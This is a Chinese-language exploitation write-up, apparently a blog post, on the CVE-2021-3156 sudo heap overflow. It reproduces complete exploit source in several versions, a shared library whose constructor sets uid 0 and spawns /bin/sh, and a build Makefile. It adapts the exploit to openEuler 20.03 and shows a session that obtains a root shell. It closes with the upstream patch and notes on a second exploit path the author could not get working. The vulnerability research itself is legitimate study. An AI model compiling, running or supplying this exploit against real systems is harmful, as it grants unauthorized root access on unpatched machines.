需要注意的是栈中每一个参数的结尾依靠的是\\\\。首先第一次复制,遇到\\\\会将\\\\, smash_b, envp拷贝一遍,然后是第二次复制,参数即为\\\\因此会将smash_b,envp拷贝一遍,接着是smash_b,由于smash_b之后也是\\\\,因此会一直继续拷贝,也就是将envp拷贝了一遍。借着就结束拷贝了。也就是说smash_b,envp都被拷贝了三遍,smash_a被拷贝了一遍。注意到每一次拷贝结束都会在结尾处加space即空格(最后一个空格会被覆写为0)。在设定smash_a,smash_b,envp的长度的时候基本就是user_args/2即为smash_a,smash_b的值,剩余的值/3就是envp的长度,不够的话再用smash_a的长度进行微调。
当我们覆写完毕group service_user结构体的name字段之后,sudo会经过一系列的调用直到nss_load_library最终打开getshell的动态链接库。
关于动态链接库编译有无空格的问题,如果是精准覆写name,那么就不需要空格,因为之后会被覆写为0,否则就需要空格。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 #include <stdio.h> #include <string.h> #include <stdlib.h> #include <stdint.h> #include <unistd.h> #include <ctype.h> #define MAX_ENVP 0x1000 typedef struct { char *target_name; char *sudoedit_path; uint32_t smash_len_a; uint32_t smash_len_b; uint32_t null_stomp_len; uint32_t lc_all_len; } target_t ; char *lc_names[]={ "LC_COLLATE" , "LC_CTYPE" , "LC_MONETARY" , "LC_NUMERIC" , "LC_TIME" , "LC_MESSAGES" , "LC_PAPER" , "LC_NAME" , "LC_ADDRESS" , "LC_TELEPHONE" , "LC_MEASUREMENT" , "LC_IDENTIFICATION" }; target_t targets[] = { { .target_name = "Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27" , .sudoedit_path = "/usr/bin/sudoedit" , .smash_len_a = 58 , .smash_len_b = 54 , .null_stomp_len = 63 , .lc_all_len = 0x30 }, { .target_name = "Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31" , .sudoedit_path = "/usr/bin/sudoedit" , .smash_len_a = 58 , .smash_len_b = 54 , .null_stomp_len = 63 , .lc_all_len = 212 }, { .target_name = "Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28" , .sudoedit_path = "/usr/bin/sudoedit" , .smash_len_a = 64 , .smash_len_b = 49 , .null_stomp_len = 60 , .lc_all_len = 214 } }; void usage (char *prog) { printf (" usage: %s <target>\\n\\n" , prog); printf (" available targets:\\n" ); printf (" ------------------------------------------------------------\\n" ); for (int i = 0 ; i < sizeof (targets) / sizeof (target_t ); i++) { printf (" %d) %s\\n" , i, targets[i].target_name); } printf (" ------------------------------------------------------------\\n" ); printf ("\\n" ); } int main (int argc, char *argv[]) { printf ("\\n** CVE-2021-3156 PoC by blasty <peter@haxx.in>\\n\\n" ); if (argc != 2 ) { usage(argv[0 ]); return -1 ; } int target_idx = atoi(argv[1 ]); if (target_idx < 0 || target_idx >= (sizeof (targets) / sizeof (target_t ))) { fprintf (stderr , "invalid target index\\n" ); return -1 ; } target_t *target = &targets[ target_idx ]; printf ("using target: '%s'\\n" , target->target_name); char *smash_a = calloc (target->smash_len_a + 2 , 1 ); char *smash_b = calloc (target->smash_len_b + 2 , 1 ); memset (smash_a, 'A' , target->smash_len_a); memset (smash_b, 'B' , target->smash_len_b); smash_a[target->smash_len_a] = '\\\\' ; smash_b[target->smash_len_b] = '\\\\' ; char *s_argv[]={ "sudoedit" , "-s" , smash_a, "\\\\" , smash_b, NULL }; char *s_envp[MAX_ENVP]; int envp_pos = 0 ; for (int i = 0 ; i < (0x2b6 ); i++) { s_envp[envp_pos++] = "\\\\" ; } s_envp[envp_pos++] = "X/P0P_SH3LLZ_" ; int lc_len = 0x20 ; int lc_num = 2 ; int i = 0 ; char *temp=NULL ; for (i = 11 ; i > (11 - lc_num); i--){ temp = calloc (lc_len + strlen (lc_names[i]) + 10 , 1 ); strcpy (temp, lc_names[i]); strcpy (temp + strlen (lc_names[i]), "=C.UTF-8@" ); memset (temp+strlen (lc_names[i]) + 9 , 'A' +i, lc_len); s_envp[envp_pos++] = temp; } temp = calloc (0x50 + strlen (lc_names[i]) + 10 , 1 ); strcpy (temp, lc_names[i]); strcpy (temp + strlen (lc_names[i]), "=C.UTF-8@" ); memset (temp+strlen (lc_names[i]) + 9 , 'A' +i, 0x50 ); s_envp[envp_pos++] = temp; i -= 1 ; temp = calloc (lc_len + strlen (lc_names[i]) + 10 , 1 ); strcpy (temp, lc_names[i]); strcpy (temp + strlen (lc_names[i]), "=C.UTF-8@" ); memset (temp+strlen (lc_names[i]) + 9 , 'A' +i, lc_len); s_envp[envp_pos++] = temp; i-=1 ; temp = calloc (lc_len + strlen (lc_names[i]) + 10 , 1 ); strcpy (temp, lc_names[i]); strcpy (temp + strlen (lc_names[i]), "=XXXXXXXX" ); memset (temp+strlen (lc_names[i]) + 9 , 'A' +i, lc_len); s_envp[envp_pos++] = temp; s_envp[envp_pos++] = NULL ; printf ("** pray for your rootshell.. **\\n" ); execve(target->sudoedit_path, s_argv, s_envp); return 0 ; }
这里的exp与原始的exp不同,原始的exp是用LC_ALL此时会在sudo_conf_read函数中调用setlocale(LC_ALL, "C"),setlocale(LC_ALL, prev_locale)会申请和释放大量的堆块,此时也会释放_nl_global_locale.__names中保存的堆块地址其实就是newnames中的堆块地址也就是存储我们环境变量值的堆块,通过释放大量的0xf0堆块进入unsorted bin,然后再申请0x20的时候,制造一个0xd0大小的small bin。此时还会有一个unsorted bin,由于在get_user_info会申请一个0x80,0x1000的堆块,此时small bin,unsorted bin会互换位置,也就是0x80大小的堆块和group files service_user会在unsorted bin相邻的位置申请,非常的巧妙。
初始的exp,lib,Makefile如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 #include <stdio.h> #include <string.h> #include <stdlib.h> #include <stdint.h> #include <unistd.h> #include <ctype.h> #define MAX_ENVP 512 typedef struct { char *target_name; char *sudoedit_path; uint32_t smash_len_a; uint32_t smash_len_b; uint32_t null_stomp_len; uint32_t lc_all_len; } target_t ; target_t targets[] = { { .target_name = "Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27" , .sudoedit_path = "/usr/bin/sudoedit" , .smash_len_a = 56 , .smash_len_b = 54 , .null_stomp_len = 63 , .lc_all_len = 212 }, { .target_name = "Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31" , .sudoedit_path = "/usr/bin/sudoedit" , .smash_len_a = 56 , .smash_len_b = 54 , .null_stomp_len = 63 , .lc_all_len = 212 }, { .target_name = "Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28" , .sudoedit_path = "/usr/bin/sudoedit" , .smash_len_a = 64 , .smash_len_b = 49 , .null_stomp_len = 60 , .lc_all_len = 214 } }; void usage (char *prog) { printf (" usage: %s <target>\\n\\n" , prog); printf (" available targets:\\n" ); printf (" ------------------------------------------------------------\\n" ); for (int i = 0 ; i < sizeof (targets) / sizeof (target_t ); i++) { printf (" %d) %s\\n" , i, targets[i].target_name); } printf (" ------------------------------------------------------------\\n" ); printf ("\\n" ); } int main (int argc, char *argv[]) { printf ("\\n** CVE-2021-3156 PoC by blasty <peter@haxx.in>\\n\\n" ); if (argc != 2 ) { usage(argv[0 ]); return -1 ; } int target_idx = atoi(argv[1 ]); if (target_idx < 0 || target_idx >= (sizeof (targets) / sizeof (target_t ))) { fprintf (stderr , "invalid target index\\n" ); return -1 ; } target_t *target = &targets[ target_idx ]; printf ("using target: '%s'\\n" , target->target_name); char *smash_a = calloc (target->smash_len_a + 2 , 1 ); char *smash_b = calloc (target->smash_len_b + 2 , 1 ); memset (smash_a, 'A' , target->smash_len_a); memset (smash_b, 'B' , target->smash_len_b); smash_a[target->smash_len_a] = '\\\\' ; smash_b[target->smash_len_b] = '\\\\' ; char *s_argv[]={ "sudoedit" , "-s" , smash_a, "\\\\" , smash_b, NULL }; char *s_envp[MAX_ENVP]; int envp_pos = 0 ; for (int i = 0 ; i < target->null_stomp_len; i++) { s_envp[envp_pos++] = "\\\\" ; } s_envp[envp_pos++] = "X/P0P_SH3LLZ_" ; char *lc_all = calloc (target->lc_all_len + 16 , 1 ); strcpy (lc_all, "LC_ALL=C.UTF-8@" ); memset (lc_all+15 , 'C' , target->lc_all_len); s_envp[envp_pos++] = lc_all; s_envp[envp_pos++] = NULL ; printf ("** pray for your rootshell.. **\\n" ); execve(target->sudoedit_path, s_argv, s_envp); return 0 ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> static void __attribute__ ((constructor)) _init(void );static void _init(void ) { printf ("[+] bl1ng bl1ng! We got it!\\n" ); setuid(0 ); seteuid(0 ); setgid(0 ); setegid(0 ); static char *a_argv[] = { "sh" , NULL }; static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin" , NULL }; execv("/bin/sh" , a_argv); }
1 2 3 4 5 6 7 8 all: rm -rf libnss_X mkdir libnss_X gcc -o sudo-hax-me-a-sandwich hax.c gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_.so.2' lib.c clean: rm -rf libnss_X sudo-hax-me-a-sandwich
For open euler 20.03 系统类似于centos,我们看一下/etc/nsswitch.conf即配置文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 passwd: sss files systemd shadow: files sss group: sss files systemd hosts: files dns myhostname bootparams: files ethers: files netmasks: files networks: files protocols: files rpc: files services: files sss netgroup: sss publickey: files automount: files sss aliases: files
可以看到这里的顺序和服务规范和ubuntu下面不一样,因此这里的堆布局与ubuntu也不相同。我们先看一下系统的调用逻辑是否发生了改变。经过调试发现其调用逻辑与ubuntu下相同
我们将ni结构体手动修改如下
1 2 3 4 5 6 7 8 9 10 11 pwndbg> p *ni $4 = { next = 0x0, actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE}, library = 0x555555582be0, known = 0x555555592b30, name = 0x5555555861a0 "X/P0P_SH3LLZ_ " } pwndbg> p shlib_name $5 = 0x7fffffffdeb0 "libnss_X/P0P_SH3LLZ_ .so.2"
经过手动修改的ni结构体,这里继续执行就会getshell。
1 2 3 4 5 6 7 8 pwndbg> c Continuing. [+] bl1ng bl1ng! We got it! process 123212 is executing new program: /usr/bin/bash Error in re-setting breakpoint 2: No source file named sudo.c. Error in re-setting breakpoint 3: No source file named sudo.c. Error in re-setting breakpoint 4: No source file named sudo.c.
那么接下来的问题就是如何复习这个结构体了,与ubuntu覆写files service_user不同,这里需要覆写的是sss service_user结构体,但是两者没有本质的区别都是group的第一个结构体,唯一不同的就是分配到group服务规范的结构体之前get_user_info所分配的堆块的数量,我们调试一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 malloc (0x100 )malloc (0x400 )malloc (0x228 ) malloc (0x10 )malloc (0x78 )malloc (0x1000 )malloc (0x17 ) malloc (0x34 )malloc (0x36 )malloc (0x38 )malloc (0x17 ) malloc (0x36 )malloc (0x34 )malloc (0x16 )malloc (0x34 )
这里我们需要提前布置6个0x40大小的堆块,和一个0xc0大小的堆块(这里布置0x80的堆块不合适,因为之后会被申请并更换为高地址的0x80堆块,经过测试0xc0大小的堆块可以。)
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 #include <stdio.h> #include <string.h> #include <stdlib.h> #include <stdint.h> #include <unistd.h> #include <ctype.h> #define MAX_ENVP 0x1000 typedef struct { char *target_name; char *sudoedit_path; uint32_t smash_len_a; uint32_t smash_len_b; uint32_t null_stomp_len; uint32_t lc_all_len; } target_t ; char *lc_names[]={ "LC_COLLATE" , "LC_CTYPE" , "LC_MONETARY" , "LC_NUMERIC" , "LC_TIME" , "LC_MESSAGES" , "LC_PAPER" , "LC_NAME" , "LC_ADDRESS" , "LC_TELEPHONE" , "LC_MEASUREMENT" , "LC_IDENTIFICATION" }; target_t targets[] = { { .target_name = "Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27" , .sudoedit_path = "/usr/bin/sudoedit" , .smash_len_a = 0x53 , .smash_len_b = 0x54 , .null_stomp_len = 63 , .lc_all_len = 0x30 }, { .target_name = "Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31" , .sudoedit_path = "/usr/local/bin/sudoedit" , .smash_len_a = 56 , .smash_len_b = 54 , .null_stomp_len = 63 , .lc_all_len = 212 }, { .target_name = "Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28" , .sudoedit_path = "/usr/bin/sudoedit" , .smash_len_a = 64 , .smash_len_b = 49 , .null_stomp_len = 60 , .lc_all_len = 214 }, { .target_name = "openEuler release 20.03 (LTS) - sudo 1.8.27, libc-2.28" , .sudoedit_path = "/usr/bin/sudoedit" , .smash_len_a = 0x53 , .smash_len_b = 0x54 , .null_stomp_len = 0x185 , .lc_all_len = 0xa0 }, }; void usage (char *prog) { printf (" usage: %s <target>\\n\\n" , prog); printf (" available targets:\\n" ); printf (" ------------------------------------------------------------\\n" ); for (int i = 0 ; i < sizeof (targets) / sizeof (target_t ); i++) { printf (" %d) %s\\n" , i, targets[i].target_name); } printf (" ------------------------------------------------------------\\n" ); printf ("\\n" ); } int main (int argc, char *argv[]) { printf ("\\n** CVE-2021-3156 PoC by blasty <peter@haxx.in>\\n\\n" ); if (argc != 2 ) { usage(argv[0 ]); return -1 ; } int target_idx = atoi(argv[1 ]); if (target_idx < 0 || target_idx >= (sizeof (targets) / sizeof (target_t ))) { fprintf (stderr , "invalid target index\\n" ); return -1 ; } target_t *target = &targets[ target_idx ]; printf ("using target: '%s'\\n" , target->target_name); char *smash_a = calloc (target->smash_len_a + 2 , 1 ); char *smash_b = calloc (target->smash_len_b + 2 , 1 ); memset (smash_a, 'A' , target->smash_len_a); memset (smash_b, 'B' , target->smash_len_b); smash_a[target->smash_len_a] = '\\\\' ; smash_b[target->smash_len_b] = '\\\\' ; char *s_argv[]={ "sudoedit" , "-s" , smash_a, "\\\\" , smash_b, NULL }; char *s_envp[MAX_ENVP]; int envp_pos = 0 ; for (int i = 0 ; i < target->null_stomp_len; i++) { s_envp[envp_pos++] = "\\\\" ; } s_envp[envp_pos++] = "X/P0P_SH3LLZ_" ; int lc_len = 0x20 ; int lc_num = 0x5 ; int i = 0 ; char *temp=NULL ; for (i = 11 ; i > (11 - lc_num); i--){ temp = calloc (lc_len + strlen (lc_names[i]) + 10 , 1 ); strcpy (temp, lc_names[i]); strcpy (temp + strlen (lc_names[i]), "=C.UTF-8@" ); memset (temp+strlen (lc_names[i]) + 9 , 'A' +i, lc_len); s_envp[envp_pos++] = temp; } temp = calloc (target->lc_all_len + strlen (lc_names[i]) + 10 , 1 ); strcpy (temp, lc_names[i]); strcpy (temp + strlen (lc_names[i]), "=C.UTF-8@" ); memset (temp+strlen (lc_names[i]) + 9 , 'A' +i, target->lc_all_len); s_envp[envp_pos++] = temp; i -= 1 ; temp = calloc (lc_len + strlen (lc_names[i]) + 10 , 1 ); strcpy (temp, lc_names[i]); strcpy (temp + strlen (lc_names[i]), "=C.UTF-8@" ); memset (temp+strlen (lc_names[i]) + 9 , 'A' +i, lc_len); s_envp[envp_pos++] = temp; i-=1 ; if (target_idx == 3 ){ temp = calloc (0xd0 + strlen (lc_names[i]) + 10 , 1 ); strcpy (temp, lc_names[i]); strcpy (temp + strlen (lc_names[i]), "=C.UTF-8@" ); memset (temp+strlen (lc_names[i]) + 9 , 'A' +i, 0xd0 ); s_envp[envp_pos++] = temp; i -= 1 ; } temp = calloc (lc_len + strlen (lc_names[i]) + 10 , 1 ); strcpy (temp, lc_names[i]); strcpy (temp + strlen (lc_names[i]), "=XXXXXXXX" ); memset (temp+strlen (lc_names[i]) + 9 , 'A' +i, lc_len); s_envp[envp_pos++] = temp; s_envp[envp_pos++] = NULL ; printf ("** pray for your rootshell.. **\\n" ); execve(target->sudoedit_path, s_argv, s_envp); return 0 ; }
1 2 3 4 5 6 7 8 9 10 [normal@172 CVE-2021-3156_blasty]$ ./sudo-hax-me-a-sandwich 3 ** CVE-2021-3156 PoC by blasty <peter@haxx.in> using target: 'openEuler release 20.03 (LTS) - sudo 1.8.27, libc-2.28' ** pray for your rootshell.. ** [+] bl1ng bl1ng! We got it! sh-5.0 exit
Patch sudo: 049ad90590be
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 @@ -547,7 +547,7 @@ /* If run as root with SUDO_USER set, set sudo_user.pw to that user. */ /* XXX - causes confusion when root is not listed in sudoers */ - if (sudo_mode & (MODE_RUN | MODE_EDIT) && prev_user != NULL) { + if (ISSET(sudo_mode, MODE_RUN|MODE_EDIT) && prev_user != NULL) { if (user_uid == 0 && strcmp(prev_user, "root") != 0) { struct passwd *pw; @@ -932,8 +932,8 @@ if (user_cmnd == NULL) user_cmnd = NewArgv[0]; - if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { - if (ISSET(sudo_mode, MODE_RUN | MODE_CHECK)) { + if (ISSET(sudo_mode, MODE_RUN|MODE_EDIT|MODE_CHECK)) { + if (!ISSET(sudo_mode, MODE_EDIT)) { const char *runchroot = user_runchroot; if (runchroot == NULL && def_runchroot != NULL && strcmp(def_runchroot, "*") != 0) @@ -961,7 +961,8 @@ sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory")); debug_return_int(NOT_FOUND_ERROR); } - if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { + if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL) && + ISSET(sudo_mode, MODE_RUN)) { /* * When running a command via a shell, the sudo front-end * escapes potential meta chars. We unescape non-spaces @@ -969,10 +970,22 @@ */ for (to = user_args, av = NewArgv + 1; (from = *av); av++) { while (*from) { - if (from[0] == '\\\\' && !isspace((unsigned char)from[1])) + if (from[0] == '\\\\' && from[1] != '\\0' && + !isspace((unsigned char)from[1])) { from++; + } + if (size - (to - user_args) < 1) { + sudo_warnx(U_("internal error, %s overflow"), + __func__); + debug_return_int(NOT_FOUND_ERROR); + } *to++ = *from++; } + if (size - (to - user_args) < 1) { + sudo_warnx(U_("internal error, %s overflow"), + __func__); + debug_return_int(NOT_FOUND_ERROR); + } *to++ = ' '; } *--to = '\\0';
patch检查了参数是否以反斜杠结尾,并在拷贝过程中对溢出进行了检测。
补充 针对利用1,我调试了一下发现没有进入process_hooks_getenv的路径,看源码分析,github中的exp执行的是SUDO_EDITOR,从源码中来看应该是位于find_editor函数中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 char *find_editor (int nfiles, char **files, int *argc_out, char ***argv_out, char * const *whitelist, const char **env_editor, bool env_error) { char *ev[3 ], *editor_path = NULL ; unsigned int i; debug_decl(find_editor, SUDOERS_DEBUG_UTIL) *env_editor = NULL ; ev[0 ] = "SUDO_EDITOR" ; ev[1 ] = "VISUAL" ; ev[2 ] = "EDITOR" ; for (i = 0 ; i < nitems(ev); i++) { char *editor = getenv(ev[i]); }
而该函数在申请完user_args堆块之后的调用发现只有一处
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 switch (check_user(validated, sudo_mode)) { case true : break ; case false : if (!ISSET(validated, VALIDATE_SUCCESS)) { if (!log_denial(validated, def_passwd_tries <= 0 )) goto done; } goto bad; default : goto done; } free (safe_cmnd);safe_cmnd = find_editor(NewArgc - 1 , NewArgv + 1 , &edit_argc, &edit_argv, NULL , &env_editor, false );
但是该函数的调用是位于check_user函数之后的,该函数经过调试发现需要满足两个条件,一个是密码输入正确,另一个就是用户需要在sudo列表中,但是满足这个条件的话就不要提权了。
原文章中写的环境变量为SYSTEMD_BYPASS_USERDB,搜索了一下该环境变量是位于systemd中,不知道怎么发生调用。所以现在卡住了。
参考 区域设置
Sudo Heap-Based Buffer Overflow
CVE-2021-3156 PoC